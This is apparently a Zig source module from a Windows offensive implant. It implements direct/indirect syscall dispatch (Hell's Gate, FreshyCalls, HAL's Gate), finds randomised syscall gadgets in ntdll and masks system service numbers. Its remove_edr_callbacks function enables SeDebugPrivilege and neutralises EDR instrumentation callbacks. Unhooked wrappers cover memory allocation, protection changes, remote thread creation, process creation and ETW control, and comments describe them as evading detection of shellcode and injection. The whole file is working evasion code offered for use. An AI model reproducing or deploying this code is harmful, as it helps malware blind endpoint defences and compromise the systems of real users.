// Syscall dispatch — SSN extraction, indirect syscalls, IC removal. // References // Hell's Gate: https://github.com/am0nsec/HellsGate // FreshyCalls: https://0xdbgman.github.io/posts/edr-internals-research-and-bypass/ // Indirect syscalls (SysWhispers): https://github.com/jthuraisamy/SysWhispers // CFG-aware IC: https://cirosec.de/en/news/windows-instrumentation-callbacks-part-4/ // 1. Global pool — gadget addrs, ntdll base, PRNG state, FreshyCalls table // 2. Assembly stubs — hells_gate, hell_descent // 3. xorshift64 PRNG // 4. Exception dir cache (HAL's Gate fallback) // 5. build_freshy_table — Nt* exports → sort RVA → SSN = position // 6. extract_ssn — FreshyCalls → HAL's Gate // 7. syscall_dispatch — SSN → random gadget → dispatch // 8. NT API wrappers // 9. remove_edr_callbacks — SeDebugPrivilege → ProcessInstrumentationCallback (jmp r10 if CFG) const std = @import("std"); const win = @import("win32.zig"); const resolve = @import("resolve.zig"); const api = @import("api.zig"); // 1. global pool — syscall gadgets, ntdll base, PRNG state var g_syscall_addrs: [64]usize = [_]usize{0} ** 64; var g_syscall_count: usize = 0; var g_ntdll_base: ?*anyopaque = null; var g_init_done: bool = false; var g_rand_state: u64 = 0; // FreshyCalls table — ntdll Nt* exports sorted by RVA, SSN = position in sorted order const FRESHY_MAX: usize = 1024; const FreshyEntry = struct { hash: u32, rva: u32 }; var g_freshy_entries: [FRESHY_MAX]FreshyEntry = undefined; var g_freshy_count: usize = 0; var g_freshy_ready: bool = false; // jmp r10 gadget (41 FF E2) found in ntdll at init — used as CFG-safe IC neutralizer var g_jmp_r10_gadget: usize = 0; // 2. assembly stubs — hells_gate encrypts SSN, hell_descent jumps to gadget extern fn hells_gate(ssn: u32, syscall_addr: usize) void; extern fn hell_descent(a1: usize, a2: usize, a3: usize, a4: usize, a5: usize, a6: usize, a7: usize, a8: usize, a9: usize, a10: usize, a11: usize) usize; // 3. xorshift64 PRNG — seeded once from stack address ^ tick count fn xorshift64() u64 { var state = g_rand_state; state ^= state << 13; state ^= state >> 7; state ^= state << 17; g_rand_state = state; return state; } // 4. exception directory cache — for HAL's Gate fallback var g_ntdll_size: usize = 0; var g_exc_begin: usize = 0; var g_exc_count: usize = 0; // FreshyCalls table builder — walks ntdll's export directory, collects Nt* exports // with real code addresses (skips forwarded exports whose RVAs fall inside the export // directory range). Sorts by RVA ascending. SSN = position in sorted order. // Immune to inline hooking because it only reads the export directory and the RVA sort // order is invariant — EDRs can't fake the linker's function layout. // Reference: https://0xdbgman.github.io/posts/edr-internals-research-and-bypass/ fn build_freshy_table() void { const base = g_ntdll_base orelse return; const base_bytes = @as([*]u8, @ptrCast(base)); const dos = @as(*align(1) extern struct { e_magic: u16, e_lfanew: u32 }, @constCast(@ptrCast(base_bytes))); if (dos.e_magic != 0x5A4D) return; const NT_SIGNATURE: u32 = 0x00004550; const nt = @as(*align(1) extern struct { Signature: u32, FileHeader: extern struct { Machine: u16, NumberOfSections: u16, pad: [18]u8 }, OptionalHeader: extern struct { Magic: u16, pad1: [100]u8, DataDirectory: [16]extern struct { VirtualAddress: u32, Size: u32 }, }, }, @constCast(@ptrCast(base_bytes + @as(usize, @intCast(dos.e_lfanew))))); if (nt.Signature != NT_SIGNATURE) return; const export_dir = nt.OptionalHeader.DataDirectory[0]; if (export_dir.VirtualAddress == 0 or export_dir.Size == 0) return; const exp = @as(*align(1) extern struct { Characteristics: u32, TimeDateStamp: u32, MajorVersion: u16, MinorVersion: u16, Name: u32, Base: u32, NumberOfFunctions: u32, NumberOfNames: u32, AddressOfFunctions: u32, AddressOfNames: u32, AddressOfNameOrdinals: u32, }, @ptrCast(@alignCast(base_bytes + @as(usize, @intCast(export_dir.VirtualAddress))))); if (exp.NumberOfNames == 0) return; const names = @as([*]u32, @ptrCast(@alignCast(base_bytes + @as(usize, @intCast(exp.AddressOfNames))))); const funcs = @as([*]u32, @ptrCast(@alignCast(base_bytes + @as(usize, @intCast(exp.AddressOfFunctions))))); const ords = @as([*]u16, @ptrCast(@alignCast(base_bytes + @as(usize, @intCast(exp.AddressOfNameOrdinals))))); g_freshy_count = 0; const export_dir_end = export_dir.VirtualAddress + export_dir.Size; var i: u32 = 0; while (i < exp.NumberOfNames and g_freshy_count < FRESHY_MAX) : (i += 1) { const name_ptr = @as([*:0]u8, @ptrCast(@alignCast(base_bytes + @as(usize, @intCast(names[i]))))); const name = std.mem.sliceTo(name_ptr, 0); // Only Nt* exports — Zw* shares identical SSNs and would produce duplicate positions if (name.len < 2 or name[0] != 'N' or name[1] != 't') continue; const ordinal = ords[i]; if (ordinal >= exp.NumberOfFunctions) continue; const rva = funcs[ordinal]; // Skip forwarded exports — their RVAs point inside the export directory if (rva >= export_dir.VirtualAddress and rva < export_dir_end) continue; g_freshy_entries[g_freshy_count] = FreshyEntry{ .hash = resolve.hash_ror13(name), .rva = rva, }; g_freshy_count += 1; } // Sort by RVA ascending — SSN = position in sorted order if (g_freshy_count > 1) { var bubble_i: usize = 0; while (bubble_i < g_freshy_count - 1) : (bubble_i += 1) { var swapped = false; var bubble_j: usize = 0; while (bubble_j < g_freshy_count - 1 - bubble_i) : (bubble_j += 1) { if (g_freshy_entries[bubble_j].rva > g_freshy_entries[bubble_j + 1].rva) { const tmp = g_freshy_entries[bubble_j]; g_freshy_entries[bubble_j] = g_freshy_entries[bubble_j + 1]; g_freshy_entries[bubble_j + 1] = tmp; swapped = true; } } if (!swapped) break; } } g_freshy_ready = true; } // FreshyCalls lookup — linear scan by hash in the sorted table, returns SSN. fn extract_ssn_freshy(func_hash: u32) ?u16 { if (!g_freshy_ready) return null; for (0..g_freshy_count) |i| { if (g_freshy_entries[i].hash == func_hash) { return @as(u16, @intCast(i)); } } return null; } const RUNTIME_FUNCTION = extern struct { BeginAddress: u32, EndAddress: u32, UnwindInfoAddress: u32, }; // 5. extract SSN — tries FreshyCalls export-sort lookup first (immune to inline hooks), // then falls back to HAL's Gate exception directory binary search with 0xB8 scan. // Reference (FreshyCalls): https://0xdbgman.github.io/posts/edr-internals-research-and-bypass/ pub fn extract_ssn(func_hash: u32) ?u16 { if (!init_syscall()) return null; // 5a. FreshyCalls — look up hash in sorted export table, SSN = position if (extract_ssn_freshy(func_hash)) |ssn| return ssn; // 5b. HAL's Gate fallback — exception directory binary search + 0xB8 scan const base = g_ntdll_base orelse return null; const func_addr = resolve.get_func_by_hash(base, func_hash) orelse return null; const func_addr_base = @intFromPtr(func_addr); const base_addr = @intFromPtr(base); const in_ntdll = func_addr_base >= base_addr and func_addr_base < base_addr + g_ntdll_size; if (!in_ntdll) return null; const func_rva = @as(u32, @intCast(func_addr_base - base_addr)); if (g_exc_count == 0) return null; const funcs = @as([*]align(1) const RUNTIME_FUNCTION, @ptrFromInt(g_exc_begin)); var lo: usize = 0; var hi: usize = g_exc_count; while (lo < hi) { const mid = lo + (hi - lo) / 2; const entry = funcs[mid]; if (func_rva < entry.BeginAddress) { hi = mid; } else if (func_rva >= entry.EndAddress) { lo = mid + 1; } else { const start_rva = entry.BeginAddress; const end_rva = entry.EndAddress; const scan_bytes = @as([*]const u8, @ptrCast(@as([*]u8, @ptrCast(base)) + start_rva)); const scan_len = @min(end_rva - start_rva, 96); var j: usize = 4; while (j < scan_len) : (j += 1) { if (scan_bytes[j] == 0xB8) { const ssn = std.mem.readInt(u32, scan_bytes[j + 1 ..][0..4], .little); if ((ssn & 0xFFFF0000) == 0 and ssn > 0 and ssn < 0x1000) { return @as(u16, @intCast(ssn)); } } } return null; } } return null; } // Scans all of ntdll for "syscall; ret" (0F 05 C3) byte sequences, stores their addresses // in g_syscall_addrs. Also seeds the PRNG, builds FreshyCalls table, caches exception // directory for HAL's Gate fallback, and finds jmp r10 gadget for CFG-aware IC removal. // Runs once — subsequent calls no-op. pub fn init_syscall() bool { if (g_init_done and g_ntdll_base != null) return true; const ntdll_hash = resolve.hash_ror13("ntdll.dll"); g_ntdll_base = resolve.get_module_by_hash(ntdll_hash); if (g_ntdll_base == null) return false; // Seed PRNG from stack address ^ tick count var stack_var: u64 = 0; g_rand_state = @as(u64, @truncate(@intFromPtr(&stack_var))); if (resolve.resolve_api(resolve.hash_ror13("kernel32.dll"), resolve.hash_ror13("GetTickCount64"))) |p| { const GetTickCount64 = @as(*const fn () callconv(win.WINAPI) u64, @ptrCast(p)); g_rand_state ^= GetTickCount64(); } // Scan entire ntdll for "syscall; ret" (0F 05 C3) const base_bytes = @as([*]const u8, @ptrCast(g_ntdll_base.?)); const dos = @as(*align(1) extern struct { e_magic: u16, e_lfanew: u32 }, @constCast(@ptrCast(base_bytes))); if (dos.e_magic != 0x5A4D) return false; const NT_SIGNATURE: u32 = 0x00004550; const nt = @as(*align(1) extern struct { Signature: u32, FileHeader: extern struct { NumberOfSections: u16, pad: [18]u8 }, OptionalHeader: extern struct { SizeOfImage: u32, pad: [236]u8 } }, @constCast(@ptrCast(base_bytes + @as(usize, @intCast(dos.e_lfanew))))); if (nt.Signature != NT_SIGNATURE) return false; g_ntdll_size = nt.OptionalHeader.SizeOfImage; g_syscall_count = 0; var j: usize = 0; const scan_end: usize = nt.OptionalHeader.SizeOfImage; while (j < scan_end - 3 and g_syscall_count < g_syscall_addrs.len) : (j += 1) { if (base_bytes[j] == 0x0F and base_bytes[j + 1] == 0x05 and base_bytes[j + 2] == 0xC3) { g_syscall_addrs[g_syscall_count] = @intFromPtr(&base_bytes[j]); g_syscall_count += 1; } } if (g_syscall_count == 0) return false; // Cache exception directory range for HAL's Gate fallback { const section_start = @as(usize, @intCast(@intFromPtr(nt) + 24 + 240)); const sections = @as([*]align(1) extern struct { Name: [8]u8, VirtualSize: u32, VirtualAddress: u32, SizeOfRawData: u32, PointerToRawData: u32, PointerToRelocations: u32, PointerToLinenumbers: u32, NumberOfRelocations: u16, NumberOfLinenumbers: u16, Characteristics: u32 }, @ptrFromInt(section_start)); for (0..nt.FileHeader.NumberOfSections) |si| { const sec = §ions[si]; if (sec.Name[0] == '.' and sec.Name[1] == 'p' and sec.Name[2] == 'd' and sec.Name[3] == 'a' and sec.Name[4] == 't' and sec.Name[5] == 'a') { g_exc_begin = @intFromPtr(@as([*]u8, @ptrCast(g_ntdll_base.?)) + sec.VirtualAddress); g_exc_count = sec.VirtualSize / @sizeOf(RUNTIME_FUNCTION); break; } } } // Build FreshyCalls table — Nt* exports sorted by RVA, SSN = position build_freshy_table(); // Scan for jmp r10 gadget (41 FF E2) — used by CFG-aware IC nullifier { var scan_i: usize = 0; while (scan_i < scan_end - 3) : (scan_i += 1) { if (base_bytes[scan_i] == 0x41 and base_bytes[scan_i + 1] == 0xFF and base_bytes[scan_i + 2] == 0xE2) { g_jmp_r10_gadget = @intFromPtr(&base_bytes[scan_i]); break; } } } g_init_done = true; return true; } // Core dispatcher: extract SSN → pick random syscall gadget → hells_gate to encrypt SSN → // pack up to 11 args → call hell_descent assembly stub. Gadget address and SSN are XOR'd // with a mask stored in the assembly data section (stack-based masking, not a real cipher). pub fn syscall_dispatch(ssn_hash: u32, args: [*]const usize, arg_count: usize) usize { const ssn = extract_ssn(ssn_hash) orelse return @as(usize, 0xC0000001); const idx = @as(usize, @truncate(xorshift64())) % g_syscall_count; const gadget = g_syscall_addrs[idx]; hells_gate(@as(u32, ssn), gadget); const a = [11]usize{ args[0], if (arg_count > 1) args[1] else 0, if (arg_count > 2) args[2] else 0, if (arg_count > 3) args[3] else 0, if (arg_count > 4) args[4] else 0, if (arg_count > 5) args[5] else 0, if (arg_count > 6) args[6] else 0, if (arg_count > 7) args[7] else 0, if (arg_count > 8) args[8] else 0, if (arg_count > 9) args[9] else 0, if (arg_count > 10) args[10] else 0, }; return hell_descent(a[0], a[1], a[2], a[3], a[4], a[5], a[6], a[7], a[8], a[9], a[10]); } fn ntstatus(r: usize) win.NTSTATUS { return @as(win.NTSTATUS, @bitCast(@as(u32, @truncate(r)))); } // --------- NT API wrappers --------- // Each packs its NT params into a [N]usize array and calls syscall_dispatch with a ror13 hash. // Creates a kernel timer object. Used by rc4_sleep for unhooked timing. pub fn nt_create_timer(timer: *win.HANDLE, desired_access: win.DWORD, object_attributes: ?*anyopaque) win.NTSTATUS { const args = [_]usize{ @intFromPtr(timer), @as(usize, desired_access), if (object_attributes) |oa| @intFromPtr(oa) else @as(usize, 0) }; return ntstatus(syscall_dispatch(resolve.hash_ror13("NtCreateTimer"), &args, 3)); } // Arms a timer to fire after the specified interval. pub fn nt_set_timer(timer: win.HANDLE, due_time: *win.LARGE_INTEGER, timer_routine: ?*anyopaque, resume_thread: win.BOOLEAN, period: win.LONG, tolerable_delay: ?*win.ULONG) win.NTSTATUS { const args = [_]usize{ @intFromPtr(timer), @intFromPtr(due_time), if (timer_routine) |p| @intFromPtr(p) else @as(usize, 0), @intFromBool(resume_thread != 0), @as(usize, @as(u32, @bitCast(period))), if (tolerable_delay) |p| @intFromPtr(p) else @as(usize, 0) }; return ntstatus(syscall_dispatch(resolve.hash_ror13("NtSetTimer"), &args, 6)); } // Waits on a timer handle to go signaled. Unhooked alternative to Sleep. pub fn nt_wait_for_multiple_objects(count: win.ULONG, handles: [*]const win.HANDLE, wait_type: win.BOOLEAN, alertable: win.BOOLEAN, timeout: ?*win.LARGE_INTEGER) win.NTSTATUS { const args = [_]usize{ @as(usize, count), @intFromPtr(handles), @intFromBool(wait_type != 0), @intFromBool(alertable != 0), if (timeout) |t| @intFromPtr(t) else @as(usize, 0) }; return ntstatus(syscall_dispatch(resolve.hash_ror13("NtWaitForMultipleObjects"), &args, 5)); } // Standard sleep syscall. Spoofed — EDRs commonly hook SleepEx and derivatives. pub fn nt_delay_execution(alertable: win.BOOLEAN, interval: *const win.LARGE_INTEGER) win.NTSTATUS { const args = [_]usize{ @intFromBool(alertable != 0), @intFromPtr(interval) }; return ntstatus(syscall_dispatch(resolve.hash_ror13("NtDelayExecution"), &args, 2)); } // Queries process info (PPI, PE flags, mitigation policies, etc). pub fn nt_query_information_process(process_handle: win.HANDLE, info_class: u32, info: *anyopaque, info_len: u32, return_len: ?*u32) win.NTSTATUS { const args = [_]usize{ @intFromPtr(process_handle), @as(usize, info_class), @intFromPtr(info), @as(usize, info_len), if (return_len) |rl| @intFromPtr(rl) else @as(usize, 0) }; return ntstatus(syscall_dispatch(resolve.hash_ror13("NtQueryInformationProcess"), &args, 5)); } // Sets thread properties (hide from debugger, etc). pub fn nt_set_information_thread(thread_handle: win.HANDLE, info_class: u32, info: *const anyopaque, info_len: u32) win.NTSTATUS { const args = [_]usize{ @intFromPtr(thread_handle), @as(usize, info_class), @intFromPtr(info), @as(usize, info_len) }; return ntstatus(syscall_dispatch(resolve.hash_ror13("NtSetInformationThread"), &args, 4)); } // Closes a handle. Spoofed — EDRs monitor this as a way to detect handle leaks from unknown sources. pub fn nt_close(handle: win.HANDLE) win.NTSTATUS { const args = [_]usize{@intFromPtr(handle)}; return ntstatus(syscall_dispatch(resolve.hash_ror13("NtClose"), &args, 1)); } // Pseudo-handles: no need to open, just use these constants pub fn nt_current_process() win.HANDLE { return @as(win.HANDLE, @ptrFromInt(0xFFFFFFFFFFFFFFFF)); } pub fn nt_current_thread() win.HANDLE { return @as(win.HANDLE, @ptrFromInt(0xFFFFFFFFFFFFFFFE)); } // Opens a handle to another process by PID. pub fn nt_open_process(process_handle: *win.HANDLE, desired_access: win.DWORD, object_attributes: *const win.OBJECT_ATTRIBUTES, client_id: *const win.CLIENT_ID) win.NTSTATUS { const args = [_]usize{ @intFromPtr(process_handle), @as(usize, desired_access), @intFromPtr(object_attributes), @intFromPtr(client_id) }; return ntstatus(syscall_dispatch(resolve.hash_ror13("NtOpenProcess"), &args, 4)); } // Sets process-level properties. Spoofed because EDR callbacks use this API. pub fn nt_set_information_process(process_handle: win.HANDLE, info_class: u32, info: *const anyopaque, info_len: u32) win.NTSTATUS { const args = [_]usize{ @intFromPtr(process_handle), @as(usize, info_class), @intFromPtr(info), @as(usize, info_len) }; return ntstatus(syscall_dispatch(resolve.hash_ror13("NtSetInformationProcess"), &args, 4)); } // Escalates SeDebugPrivilege so that NtSetInformationProcess(InfoClass=40) can clear EDR // process instrumentation callbacks. Silently skipped if any step fails — privilege escalation // is best-effort (requires admin/elevated token on most systems, defanged on 11 23H2+). fn escalate_debug_priv() void { const getcp = api.priv_get_current_process orelse return; const open_tok = api.exec_open_process_token orelse return; const lookup = api.priv_lookup_privilege_value_w orelse return; const adjust = api.priv_adjust_token_privileges orelse return; var h_token: win.HANDLE = undefined; if (open_tok(getcp(), win.TOKEN_ADJUST_PRIVILEGES | win.TOKEN_QUERY, &h_token) == 0) return; defer _ = nt_close(h_token); var luid: win.LUID = undefined; if (lookup(null, &[_:0]u16{ 'S', 'e', 'D', 'e', 'b', 'u', 'g', 'P', 'r', 'i', 'v', 'i', 'l', 'e', 'g', 'e' }, &luid) == 0) return; var tp = win.TOKEN_PRIVILEGES{ .PrivilegeCount = 1, .Privileges = [1]win.LUID_AND_ATTRIBUTES{.{ .Luid = luid, .Attributes = win.SE_PRIVILEGE_ENABLED }}, }; _ = adjust(h_token, 0, &tp, 0, null, null); } // Removes kernel-level EDR instrumentation callbacks (InfoClass 40 = ProcessInstrumentationCallback). // CFG-aware: on CFG-enabled systems (Win10 1709+ default), the kernel refuses to null the // callback pointer. Instead we set it to a jmp r10 gadget in ntdll — the IC fires but // immediately returns, effectively neutralizing the callback. // Reference: https://cirosec.de/en/news/windows-instrumentation-callbacks-part-4/ // Runs LAST in startup chain — after ETW/AMSI patches, so the "silence" isn't immediately flagged. pub fn remove_edr_callbacks() void { escalate_debug_priv(); const PI_CALLBACK: u32 = 40; const callback = if (g_jmp_r10_gadget != 0) @as(*anyopaque, @ptrFromInt(g_jmp_r10_gadget)) else null; var callbacks = win.PROCESS_INSTRUMENTATION_CALLBACK{ .Version = 0, .Reserved = 0, .Callback = callback }; _ = nt_set_information_process(nt_current_process(), PI_CALLBACK, @ptrCast(&callbacks), @sizeOf(win.PROCESS_INSTRUMENTATION_CALLBACK)); } // Allocates virtual memory in any process. Spoofed — high-value EDR target. pub fn nt_allocate_virtual_memory(process_handle: win.HANDLE, base_address: *?*anyopaque, zero_bits: win.ULONG_PTR, region_size: *win.SIZE_T, allocation_type: win.ULONG, protect: win.ULONG) win.NTSTATUS { const args = [_]usize{ @intFromPtr(process_handle), @intFromPtr(base_address), @as(usize, zero_bits), @intFromPtr(region_size), @as(usize, allocation_type), @as(usize, protect) }; return ntstatus(syscall_dispatch(resolve.hash_ror13("NtAllocateVirtualMemory"), &args, 6)); } // Changes page protection. Spoofed — commonly monitored for shellcode/RWX patterns. pub fn nt_protect_virtual_memory(process_handle: win.HANDLE, base_address: *?*anyopaque, region_size: *win.SIZE_T, new_protect: win.ULONG, old_protect: *win.ULONG) win.NTSTATUS { const args = [_]usize{ @intFromPtr(process_handle), @intFromPtr(base_address), @intFromPtr(region_size), @as(usize, new_protect), @intFromPtr(old_protect) }; return ntstatus(syscall_dispatch(resolve.hash_ror13("NtProtectVirtualMemory"), &args, 5)); } // Creates a thread in any process. Spoofed — primary EDR/AV injection detection point. pub fn nt_create_thread_ex(thread_handle: *win.HANDLE, desired_access: win.DWORD, object_attributes: ?*const win.OBJECT_ATTRIBUTES, process_handle: win.HANDLE, start_address: *anyopaque, parameter: ?*anyopaque, create_flags: win.ULONG, zero_bits: win.SIZE_T, stack_size: win.SIZE_T, max_stack_size: win.SIZE_T, attribute_list: ?*anyopaque) win.NTSTATUS { const args = [_]usize{ @intFromPtr(thread_handle), @as(usize, desired_access), if (object_attributes) |oa| @intFromPtr(oa) else @as(usize, 0), @intFromPtr(process_handle), @intFromPtr(start_address), if (parameter) |p| @intFromPtr(p) else @as(usize, 0), @as(usize, create_flags), @as(usize, zero_bits), @as(usize, stack_size), @as(usize, max_stack_size), if (attribute_list) |al| @intFromPtr(al) else @as(usize, 0) }; return ntstatus(syscall_dispatch(resolve.hash_ror13("NtCreateThreadEx"), &args, 11)); } // Creates a new process. Spoofed — fork-and-run is the loudest IOC EDRs look for. pub fn nt_create_user_process(process_handle: *win.HANDLE, thread_handle: *win.HANDLE, process_access: win.DWORD, thread_access: win.DWORD, process_oa: ?*const win.OBJECT_ATTRIBUTES, thread_oa: ?*const win.OBJECT_ATTRIBUTES, process_flags: win.ULONG, thread_flags: win.ULONG, process_parameters: ?*anyopaque, create_info: *win.PROCESS_CREATE_INFO, attribute_list: ?*anyopaque) win.NTSTATUS { const args = [_]usize{ @intFromPtr(process_handle), @intFromPtr(thread_handle), @as(usize, process_access), @as(usize, thread_access), if (process_oa) |oa| @intFromPtr(oa) else @as(usize, 0), if (thread_oa) |oa| @intFromPtr(oa) else @as(usize, 0), @as(usize, process_flags), @as(usize, thread_flags), if (process_parameters) |pp| @intFromPtr(pp) else @as(usize, 0), @intFromPtr(create_info), if (attribute_list) |al| @intFromPtr(al) else @as(usize, 0) }; return ntstatus(syscall_dispatch(resolve.hash_ror13("NtCreateUserProcess"), &args, 11)); } // Controls ETW tracing sessions. Used to stop EDR provider GUIDs. pub fn nt_trace_control(code: win.ULONG, input: ?*anyopaque, input_len: win.ULONG, output: ?*anyopaque, output_len: win.ULONG, ret_len: *win.ULONG) win.NTSTATUS { const args = [_]usize{ @as(usize, code), if (input) |p| @intFromPtr(p) else @as(usize, 0), @as(usize, input_len), if (output) |p| @intFromPtr(p) else @as(usize, 0), @as(usize, output_len), @intFromPtr(ret_len) }; return ntstatus(syscall_dispatch(resolve.hash_ror13("NtTraceControl"), &args, 6)); } // Queries memory region info for an address range. pub fn nt_query_virtual_memory(process: win.HANDLE, base: ?*const anyopaque, info_class: u32, info: *anyopaque, info_len: win.SIZE_T, ret_len: ?*win.SIZE_T) win.NTSTATUS { const args = [_]usize{ @intFromPtr(process), @intFromPtr(base), @as(usize, info_class), @intFromPtr(info), @as(usize, info_len), if (ret_len) |p| @intFromPtr(p) else @as(usize, 0) }; return ntstatus(syscall_dispatch(resolve.hash_ror13("NtQueryVirtualMemory"), &args, 6)); }